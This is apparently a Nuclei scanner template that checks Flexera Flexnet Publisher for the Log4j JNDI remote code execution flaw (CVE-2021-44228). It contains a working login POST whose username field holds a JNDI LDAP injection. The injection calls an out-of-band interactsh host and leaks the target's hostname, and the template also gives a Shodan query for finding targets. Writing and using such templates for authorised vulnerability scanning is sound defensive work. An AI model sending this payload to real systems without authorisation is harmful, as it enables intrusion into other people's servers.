flexnet-log4j-rce: Flexnet - Remote Code Execution (Apache Log4j)

id: flexnet-log4j-rce

info:
  name: Flexnet - Remote Code Execution (Apache Log4j)
  author: shaikhyaser
  severity: critical
  description: |
    Flexnet is susceptible to Log4j JNDI remote code execution.
  reference:
    - https://community.flexera.com/t5/Revenera-Company-News/Security-Advisory-Log4j-Java-Vulnerability-CVE-2021-4104-CVE/ba-p/216905
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
    cpe: cpe:2.3:a:flexera:flexnet_publisher:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    shodan-query: title:"Flexnet"
    product: flexnet_publisher
    vendor: flexera
  tags: cve,cve2021,rce,jndi,log4j,flexnet,oast,kev,vuln
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'
  str: "{{rand_base(5)}}"

http:
  - raw:
      - |
        POST /flexnet/logon.do HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Referer: {{RootURL}}/flexnet/logon.do
        Content-Type: application/x-www-form-urlencoded

        action=logon&username=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}&password={{str}}&domain=FLEXnet

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output

    extractors:
      - type: kval
        kval:
          - interactsh_ip # Print remote interaction IP in output

      - type: regex
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
        part: interactsh_request

      - type: regex
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
        part: interactsh_request
# digest: 4a0a0047304502203c81a6df47a447f4d69e23c874be0dd2149cc1358af0d29420503c4fece41eb2022100e5a6656faea7981b2863669638fd7e6bb9ba2aaf3f0bd7ffcbc488a0d3f34559:922c64590222798bb761d5b6d8e72950